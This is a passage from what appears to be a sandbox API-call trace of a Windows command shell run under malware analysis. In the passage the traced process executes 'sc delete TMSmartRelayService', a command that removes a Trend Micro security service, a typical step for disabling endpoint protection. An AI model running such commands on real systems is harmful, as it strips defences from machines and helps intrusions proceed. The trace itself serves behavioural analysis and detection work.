lpWideCharStr="tlter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.064] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.064] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Rter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.064] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.064] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.064] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="eer\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.065] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="lr\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.065] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="a\ne\n4-9.4\"\n\nA\"\n") returned 1 [0079.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.065] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="ye\n4-9.4\"\n\nA\"\n") returned 1 [0079.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.065] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.065] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="S\n4-9.4\"\n\nA\"\n") returned 1 [0079.065] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.065] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.065] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="e4-9.4\"\n\nA\"\n") returned 1 [0079.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.066] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="r-9.4\"\n\nA\"\n") returned 1 [0079.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.066] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="v9.4\"\n\nA\"\n") returned 1 [0079.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.066] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="i.4\"\n\nA\"\n") returned 1 [0079.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.066] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="c4\"\n\nA\"\n") returned 1 [0079.066] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.066] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.066] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.066] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="e\"\n\nA\"\n") returned 1 [0079.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.067] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.067] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.067] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="\n\n\nA\"\n") returned 1 [0079.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.067] GetFileType (hFile=0xb8) returned 0x3 [0079.067] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.067] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.067] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.067] GetFileType (hFile=0x120) returned 0x3 [0079.067] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.067] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMSmartRelayService\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMSmartRelayService\n", lpUsedDefaultChar=0x0) returned 31 [0079.067] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1e, lpOverlapped=0x0) returned 1 [0079.067] GetProcessHeap () returned 0x240000 [0079.067] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0079.067] GetProcessHeap () returned 0x240000 [0079.067] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0079.067] GetProcessHeap () returned 0x240000 [0079.067] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0079.067] GetProcessHeap () returned 0x240000 [0079.067] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0079.068] GetProcessHeap () returned 0x240000 [0079.068] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x25aa40 [0079.068] GetConsoleOutputCP () returned 0x1b5 [0079.068] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.068] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.068] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.068] GetProcessHeap () returned 0x240000 [0079.068] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0079.068] GetProcessHeap () returned 0x240000 [0079.068] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4e) returned 0x259b30 [0079.068] GetProcessHeap () returned 0x240000 [0079.068] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0079.069] SetErrorMode (uMode=0x0) returned 0x1 [0079.069] SetErrorMode (uMode=0x1) returned 0x0 [0079.069] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0079.069] SetErrorMode (uMode=0x1) returned 0x1 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0079.069] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.069] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0079.069] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x2597e0 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x2597e0, Size=0x7e) returned 0x2597e0 [0079.069] GetProcessHeap () returned 0x240000 [0079.069] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x2597e0) returned 0x7e [0079.070] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.070] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.070] GetLastError () returned 0x2 [0079.070] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.070] GetLastError () returned 0x2 [0079.070] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0079.070] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0079.070] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0079.070] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0079.071] GetLastError () returned 0x2 [0079.071] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259870 [0079.071] FindClose (in: hFindFile=0x259870 | out: hFindFile=0x259870) returned 1 [0079.071] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.071] GetProcessHeap () returned 0x240000 [0079.071] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0079.072] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0079.072] GetProcessHeap () returned 0x240000 [0079.072] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xb4) returned 0x259180 [0079.072] GetProcessHeap () returned 0x240000 [0079.072] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xb4 [0079.072] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMSmartRelayService") returned 1 [0079.072] GetProcessHeap () returned 0x240000 [0079.072] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0079.073] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0079.073] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0079.073] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0079.073] GetProcessHeap () returned 0x240000 [0079.073] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0079.073] GetProcessHeap () returned 0x240000 [0079.073] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0079.073] GetProcessHeap () returned 0x240000 [0079.073] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0079.073] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMSmartRelayService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMSmartRelayService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete TMSmartRelayService", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x89c, dwThreadId=0x86c)) returned 1 [0079.081] CloseHandle (hObject=0x50) returned 1 [0079.081] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0079.081] GetProcessHeap () returned 0x240000 [0079.081] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0079.081] GetEnvironmentStringsW () returned 0x261b10* [0079.081] GetProcessHeap () returned 0x240000 [0079.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.081] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.081] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.081] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.081] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0079.136] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.136] CloseHandle (hObject=0x54) returned 1 [0079.136] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.136] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.136] GetProcessHeap () returned 0x240000 [0079.136] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.136] GetEnvironmentStringsW () returned 0x261b10* [0079.136] GetProcessHeap () returned 0x240000 [0079.136] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.137] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.137] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.137] GetProcessHeap () returned 0x240000 [0079.137] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.137] GetEnvironmentStringsW () returned 0x261b10* [0079.137] GetProcessHeap () returned 0x240000 [0079.137] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.137] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.137] GetProcessHeap () returned 0x240000 [0079.137] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.137] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.137] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.138] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.138] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.138] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.138] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.138] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.138] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.138] GetConsoleOutputCP () returned 0x1b5 [0079.138] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.138] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.138] GetProcessHeap () returned 0x240000 [0079.138] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0079.138] GetProcessHeap () returned 0x240000 [0079.138] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.139] GetProcessHeap () returned 0x240000 [0079.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.139] GetProcessHeap () returned 0x240000 [0079.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.139] GetProcessHeap () returned 0x240000 [0079.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.139] GetProcessHeap () returned 0x240000 [0079.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.139] GetProcessHeap () returned 0x240000 [0079.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0079.139] GetProcessHeap () returned 0x240000 [0079.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.139] GetProcessHeap () returned 0x240000 [0079.139] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.139] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.139] GetFileType (hFile=0x120) returned 0x3 [0079.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.139] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.139] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.139] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.139] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.139] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.139] GetFileType (hFile=0x120) returned 0x3 [0079.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.140] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.140] GetFileType (hFile=0xb8) returned 0x3 [0079.140] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.140] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.140] ReadFile (in: hFile=0xb8, 